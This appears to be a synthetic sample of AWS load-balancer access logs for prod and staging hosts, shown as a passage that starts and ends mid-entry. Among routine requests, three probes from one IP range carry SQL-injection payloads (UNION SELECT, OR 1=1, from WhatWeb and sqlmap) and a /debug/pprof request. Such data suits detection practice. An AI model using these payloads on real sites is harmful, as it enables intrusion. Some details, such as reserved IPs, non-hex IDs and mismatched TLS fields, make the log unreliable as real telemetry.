"GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c738-10e04e798c214bfebd539158" "prod-web-alb.example.com" "-" 3 2024-11-01T01:06:48.503126Z "forward" "-" "-" "10.0.47.176:443" "200" "-" "-" +https 2024-11-01T01:06:49.361039Z prod-web-alb 47.22.125.54:31080 10.0.7.246:443 0.040223 0.192229 0.016418 200 200 977 2788 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c739-20a1550f9d934f038f978320" "prod-web-alb.example.com" "-" 2 2024-11-01T01:06:49.361039Z "forward" "-" "-" "10.0.7.246:443" "200" "-" "-" +https 2024-11-01T01:06:51.245180Z prod-web-alb 110.255.96.133:64884 10.0.215.42:443 0.083198 0.306943 0.097720 302 302 556 12610 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c73b-b6db2f09c1a44a158c0377a4" "prod-web-alb.example.com" "-" 3 2024-11-01T01:06:51.245180Z "forward" "-" "-" "10.0.215.42:443" "302" "-" "-" +http 2024-11-01T01:06:52.033646Z staging-alb 121.103.128.180:44000 61.227.6.210:80 0.049003 0.223050 0.078729 200 200 324 14926 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c73c-374a2c0564da46f39f5bdf32" "staging-alb.example.com" "-" 0 2024-11-01T01:06:52.033646Z "forward" "-" "-" "61.227.6.210:80" "200" "-" "-" +https 2024-11-01T01:06:52.585251Z prod-web-alb 193.27.228.131:53882 10.0.191.85:443 0.011035 0.345449 0.054477 403 403 218 13424 "POST /search?q=1' UNION SELECT HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c73c-8584618e1e0a46f9a7995e94" "-" "-" 4 2024-11-01T01:06:52.585251Z "forward" "-" "-" "10.0.191.85:443" "403" "-" "-" +https 2024-11-01T01:06:53.507404Z prod-web-alb 97.241.226.141:28877 10.0.93.46:443 0.025457 0.288746 0.064775 301 301 835 3661 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c73d-7a32363bf6284917bc650316" "prod-web-alb.example.com" "-" 9 2024-11-01T01:06:53.507404Z "forward" "-" "-" "10.0.93.46:443" "301" "-" "-" +https 2024-11-01T01:06:53.626964Z staging-alb 116.55.84.173:41282 244.190.220.177:80 0.000198 0.723184 0.081658 302 302 216 14711 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c73d-07129ef228c148a6a09e033d" "staging-alb.example.com" "-" 4 2024-11-01T01:06:53.626964Z "forward" "-" "-" "244.190.220.177:80" "302" "-" "-" +https 2024-11-01T01:06:55.000348Z prod-web-alb 133.54.247.5:60317 10.0.25.23:443 0.043921 0.370663 0.018453 301 301 227 10045 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c73f-918677d9f132499ea3b9a31f" "-" "-" 3 2024-11-01T01:06:55.000348Z "forward" "-" "-" "10.0.25.23:443" "301" "-" "-" +https 2024-11-01T01:06:55.493756Z prod-web-alb 144.173.115.54:25956 10.0.212.98:443 0.050762 0.099151 0.012744 200 200 760 6660 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c73f-877ec5b46e024633afdfca29" "prod-web-alb.example.com" "-" 9 2024-11-01T01:06:55.493756Z "forward" "-" "-" "10.0.212.98:443" "200" "-" "-" +https 2024-11-01T01:06:55.723787Z prod-api-alb 114.122.55.12:30688 10.0.54.148:443 0.009669 0.417569 0.047618 302 302 392 6131 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c73f-1f4a064f021e4c41ba584634" "prod-api-alb.example.com" "-" 9 2024-11-01T01:06:55.723787Z "forward" "-" "-" "10.0.54.148:443" "302" "-" "-" +https 2024-11-01T01:06:56.984221Z prod-api-alb 197.198.60.81:57291 10.0.22.166:443 0.001337 0.026024 0.054584 302 302 71 8743 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c740-1c025650fc7e42bab0ed4142" "prod-api-alb.example.com" "-" 2 2024-11-01T01:06:56.984221Z "forward" "-" "-" "10.0.22.166:443" "302" "-" "-" +https 2024-11-01T01:06:58.175129Z staging-alb 214.233.129.52:56193 13.220.194.39:443 0.010711 0.247894 0.140722 200 200 275 2169 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c742-1db2dff1cea14fa08e6ec362" "staging-alb.example.com" "-" 4 2024-11-01T01:06:58.175129Z "forward" "-" "-" "13.220.194.39:443" "200" "-" "-" +https 2024-11-01T01:06:59.149228Z prod-web-alb 165.5.2.130:17137 10.0.62.141:443 0.073274 0.015755 0.056223 200 200 846 14551 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c743-474e63350832469b874f8285" "prod-web-alb.example.com" "-" 5 2024-11-01T01:06:59.149228Z "forward" "-" "-" "10.0.62.141:443" "200" "-" "-" +https 2024-11-01T01:07:00.908991Z staging-alb 105.64.226.173:17480 195.176.94.74:443 0.087750 0.393590 0.146947 301 301 536 7185 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c744-a5c6afe531b74012ba31ce12" "-" "-" 0 2024-11-01T01:07:00.908991Z "forward" "-" "-" "195.176.94.74:443" "301" "-" "-" +https 2024-11-01T01:07:01.629567Z prod-api-alb 214.55.30.219:11424 10.0.214.109:443 0.092243 0.421195 0.079204 301 301 634 9723 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c745-889a84b9467e46728e6b3285" "prod-api-alb.example.com" "-" 7 2024-11-01T01:07:01.629567Z "forward" "-" "-" "10.0.214.109:443" "301" "-" "-" +https 2024-11-01T01:07:01.974419Z prod-api-alb 193.27.228.121:59893 10.0.211.91:443 0.047663 0.342399 0.037105 403 403 754 13426 "POST /debug/pprof HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c745-069c9b9087904534b5c8b7d2" "-" "-" 4 2024-11-01T01:07:01.974419Z "forward" "-" "-" "10.0.211.91:443" "403" "-" "-" +https 2024-11-01T01:07:02.168813Z staging-alb 15.76.45.163:24339 185.248.232.44:8080 0.032140 0.002988 0.036531 200 200 778 9760 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c746-36931aa7ad034b1d8171924a" "staging-alb.example.com" "-" 6 2024-11-01T01:07:02.168813Z "forward" "-" "-" "185.248.232.44:8080" "200" "-" "-" +http 2024-11-01T01:07:02.576546Z staging-alb 166.40.89.118:31924 58.165.227.28:443 0.149029 0.126746 0.135844 302 302 570 2249 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c746-6b5a314c26054e408974e102" "staging-alb.example.com" "-" 2 2024-11-01T01:07:02.576546Z "forward" "-" "-" "58.165.227.28:443" "302" "-" "-" +http 2024-11-01T01:07:03.247803Z staging-alb 234.33.227.77:22034 91.39.248.20:443 0.102216 0.537027 0.112888 302 302 403 971 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c747-fba447d3bf734b44b81c9968" "staging-alb.example.com" "-" 1 2024-11-01T01:07:03.247803Z "forward" "-" "-" "91.39.248.20:443" "302" "-" "-" +https 2024-11-01T01:07:03.709172Z prod-web-alb 252.135.130.142:63728 10.0.245.127:443 0.063991 0.094085 0.030459 404 404 923 7583 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c747-8e86092916a4489e92c754a9" "prod-web-alb.example.com" "-" 7 2024-11-01T01:07:03.709172Z "forward" "-" "-" "10.0.245.127:443" "404" "-" "-" +http 2024-11-01T01:07:04.973731Z staging-alb 110.181.34.182:14272 7.138.143.143:80 0.012216 0.320441 0.067985 200 200 187 3735 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c748-f0ccab09ee6b4ebf8ef713ad" "staging-alb.example.com" "-" 6 2024-11-01T01:07:04.973731Z "forward" "-" "-" "7.138.143.143:80" "200" "-" "-" +https 2024-11-01T01:07:05.187686Z prod-api-alb 65.199.167.144:19881 10.0.177.87:443 0.054449 0.190549 0.071279 301 301 308 11831 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c749-00d8bd6afc9845a28663263a" "prod-api-alb.example.com" "-" 7 2024-11-01T01:07:05.187686Z "forward" "-" "-" "10.0.177.87:443" "301" "-" "-" +https 2024-11-01T01:07:07.162181Z staging-alb 111.93.221.54:31888 106.207.35.161:443 0.036804 0.341865 0.114263 200 200 561 12578 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c74b-351ec5515659465e8ab5015f" "staging-alb.example.com" "-" 3 2024-11-01T01:07:07.162181Z "forward" "-" "-" "106.207.35.161:443" "200" "-" "-" +https 2024-11-01T01:07:07.374761Z prod-web-alb 14.150.217.174:41505 10.0.149.96:443 0.099553 0.324939 0.028479 302 302 307 10334 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c74b-6594c159bac2416385e8c6f1" "prod-web-alb.example.com" "-" 4 2024-11-01T01:07:07.374761Z "forward" "-" "-" "10.0.149.96:443" "302" "-" "-" +https 2024-11-01T01:07:09.132877Z prod-web-alb 111.70.201.206:15124 10.0.65.201:443 0.076807 0.215775 0.043483 200 200 972 4283 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c74d-3ccb8defa7ee4ccda234ed9a" "prod-web-alb.example.com" "-" 0 2024-11-01T01:07:09.132877Z "forward" "-" "-" "10.0.65.201:443" "200" "-" "-" +https 2024-11-01T01:07:09.460451Z staging-alb 89.0.26.186:37668 213.190.210.34:443 0.036218 0.369576 0.009322 200 200 401 2908 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c74d-4479836015c84095b6eb216c" "staging-alb.example.com" "-" 5 2024-11-01T01:07:09.460451Z "forward" "-" "-" "213.190.210.34:443" "200" "-" "-" +https 2024-11-01T01:07:11.297888Z prod-web-alb 63.208.76.254:35861 10.0.242.160:443 0.096935 0.445741 0.078631 404 404 602 12198 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c74f-b6ebb2653ef544e3a8d6dde1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:07:11.297888Z "forward" "-" "-" "10.0.242.160:443" "404" "-" "-" +https 2024-11-01T01:07:11.808881Z prod-web-alb 46.79.44.249:20487 10.0.241.189:443 0.096937 0.272084 0.046939 200 200 615 5562 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c74f-9262cf1b526847e1a319431a" "-" "-" 0 2024-11-01T01:07:11.808881Z "forward" "-" "-" "10.0.241.189:443" "200" "-" "-" +http 2024-11-01T01:07:12.133280Z staging-alb 225.186.23.36:10388 227.218.211.121:443 0.025749 0.211952 0.029100 301 301 772 5985 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c750-a6ac37765a6b41e6bf6f2d04" "staging-alb.example.com" "-" 8 2024-11-01T01:07:12.133280Z "forward" "-" "-" "227.218.211.121:443" "301" "-" "-" +https 2024-11-01T01:07:12.350072Z staging-alb 198.226.120.215:21783 183.214.120.204:80 0.035353 0.215269 0.046178 200 200 245 13709 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c750-74ad27f6166a4e14b6a8a9cb" "staging-alb.example.com" "-" 10 2024-11-01T01:07:12.350072Z "forward" "-" "-" "183.214.120.204:80" "200" "-" "-" +https 2024-11-01T01:07:13.077744Z prod-web-alb 93.128.72.212:50046 10.0.168.205:443 0.051717 0.476582 0.072080 200 200 112 12129 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c751-f57561467b17486facc0f434" "prod-web-alb.example.com" "-" 3 2024-11-01T01:07:13.077744Z "forward" "-" "-" "10.0.168.205:443" "200" "-" "-" +http 2024-11-01T01:07:14.975314Z staging-alb 245.181.67.53:61324 231.1.138.46:80 0.140857 0.572616 0.129018 301 301 602 10251 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c752-f03b583720e847cb9052489d" "staging-alb.example.com" "-" 6 2024-11-01T01:07:14.975314Z "forward" "-" "-" "231.1.138.46:80" "301" "-" "-" +https 2024-11-01T01:07:16.394849Z prod-api-alb 42.60.104.106:28680 10.0.209.146:443 0.065072 0.298750 0.079478 404 404 458 1192 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c754-5b991f2363ef4f73a72f7c5d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:07:16.394849Z "forward" "-" "-" "10.0.209.146:443" "404" "-" "-" +https 2024-11-01T01:07:17.096124Z staging-alb 111.80.42.66:32660 192.109.62.152:443 0.131013 0.394323 0.073488 200 200 665 2441 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c755-27145c60e78743afbe5467fe" "staging-alb.example.com" "-" 10 2024-11-01T01:07:17.096124Z "forward" "-" "-" "192.109.62.152:443" "200" "-" "-" +https 2024-11-01T01:07:17.641657Z prod-web-alb 54.171.149.79:24128 10.0.74.49:443 0.088507 0.038006 0.088945 200 200 551 10826 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c755-c226bcdf12f64a378eb332fa" "prod-web-alb.example.com" "-" 6 2024-11-01T01:07:17.641657Z "forward" "-" "-" "10.0.74.49:443" "200" "-" "-" +https 2024-11-01T01:07:18.097368Z prod-web-alb 184.137.83.184:61248 10.0.193.251:443 0.053647 0.416741 0.012648 302 302 29 14953 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c756-2b0459e8f84e47dda669eafa" "prod-web-alb.example.com" "-" 9 2024-11-01T01:07:18.097368Z "forward" "-" "-" "10.0.193.251:443" "302" "-" "-" +https 2024-11-01T01:07:18.966569Z prod-web-alb 208.195.145.81:29663 10.0.46.245:443 0.051571 0.125573 0.078627 200 200 326 8227 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c756-d6b0cc6f288d48dba6bcc923" "prod-web-alb.example.com" "-" 7 2024-11-01T01:07:18.966569Z "forward" "-" "-" "10.0.46.245:443" "200" "-" "-" +http 2024-11-01T01:07:19.254245Z staging-alb 74.90.72.233:57002 177.33.118.77:443 0.064108 0.323053 0.037138 404 404 550 14414 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c757-76b8cbdddfee4dc4960ac39f" "staging-alb.example.com" "-" 0 2024-11-01T01:07:19.254245Z "forward" "-" "-" "177.33.118.77:443" "404" "-" "-" +https 2024-11-01T01:07:19.579078Z prod-web-alb 219.59.58.191:17605 10.0.5.246:443 0.081607 0.047824 0.051942 404 404 59 11500 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c757-b720dfc3db54408e89796660" "prod-web-alb.example.com" "-" 1 2024-11-01T01:07:19.579078Z "forward" "-" "-" "10.0.5.246:443" "404" "-" "-" +https 2024-11-01T01:07:21.030345Z prod-api-alb 211.77.4.73:45582 10.0.71.250:443 0.030834 0.448067 0.074517 200 200 973 3527 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c759-1a393b9d9a3c40729c27bfc1" "prod-api-alb.example.com" "-" 10 2024-11-01T01:07:21.030345Z "forward" "-" "-" "10.0.71.250:443" "200" "-" "-" +https 2024-11-01T01:07:21.418765Z prod-web-alb 82.152.144.132:42947 10.0.90.253:443 0.073570 0.099410 0.079552 200 200 783 7140 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c759-4d4b57617fd54003bd4ade12" "prod-web-alb.example.com" "-" 9 2024-11-01T01:07:21.418765Z "forward" "-" "-" "10.0.90.253:443" "200" "-" "-" +https 2024-11-01T01:07:22.765703Z staging-alb 109.115.174.247:40017 222.72.46.230:443 0.114641 0.567894 0.021320 301 301 722 14926 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c75a-408cb51f8c7b45669237bb09" "staging-alb.example.com" "-" 6 2024-11-01T01:07:22.765703Z "forward" "-" "-" "222.72.46.230:443" "301" "-" "-" +https 2024-11-01T01:07:23.997889Z prod-web-alb 78.81.24.9:32472 10.0.74.143:443 0.048061 0.472853 0.049158 200 200 580 13385 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c75b-e4c4dfa940b14e19a4f4325f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:07:23.997889Z "forward" "-" "-" "10.0.74.143:443" "200" "-" "-" +http 2024-11-01T01:07:25.570177Z staging-alb 229.156.10.175:20822 125.215.2.239:8080 0.034256 0.583543 0.107749 302 302 313 14725 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c75d-80330163973c4e1480fdb941" "staging-alb.example.com" "-" 10 2024-11-01T01:07:25.570177Z "forward" "-" "-" "125.215.2.239:8080" "302" "-" "-" +https 2024-11-01T01:07:27.262004Z prod-api-alb 193.27.228.38:39572 10.0.204.78:443 0.018807 0.337591 0.086722 500 500 551 4443 "POST /users?id=1 OR 1=1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c75f-df1979026aca482cb27a6b7c" "-" "-" 0 2024-11-01T01:07:27.262004Z "forward" "-" "-" "10.0.204.78:443" "500" "-" "-" +https 2024-11-01T01:07:27.362260Z prod-web-alb 200.136.182.66:24710 10.0.120.129:443 0.072244 0.236917 0.089556 200 200 197 10358 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c75f-86470f750bd74981af69937b" "prod-web-alb.example.com" "-" 5 2024-11-01T01:07:27.362260Z "forward" "-" "-" "10.0.120.129:443" "200" "-" "-" +https 2024-11-01T01:07:28.074154Z prod-web-alb 29.24.224.172:62841 10.0.162.30:443 0.060521 0.163647 0.096352 302 302 76 1313 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c760-d551ed4cf3aa475b9fd2abc5" "prod-web-alb.example.com" "-" 0 2024-11-01T01:07:28.074154Z "forward" "-" "-" "10.0.162.30:443" "302" "-" "-" +https 2024-11-01T01:07:29.354935Z prod-api-alb 206.163.9.12:27561 10.0.145.36:443 0.052901 0.230444 0.000490 200 200 875 4379 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c761-89524a2284d7456c9e51a186" "prod-api-alb.example.com" "-" 3 2024-11-01T01:07:29.354935Z "forward" "-" "-" "10.0.145.36:443" "200" "-" "-" +https 2024-11-01T01:07:31.221151Z prod-api-alb 95.5.239.104:43833 10.0.2.159:443 0.096228 0.054111 0.038182 200 200 930 13205 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 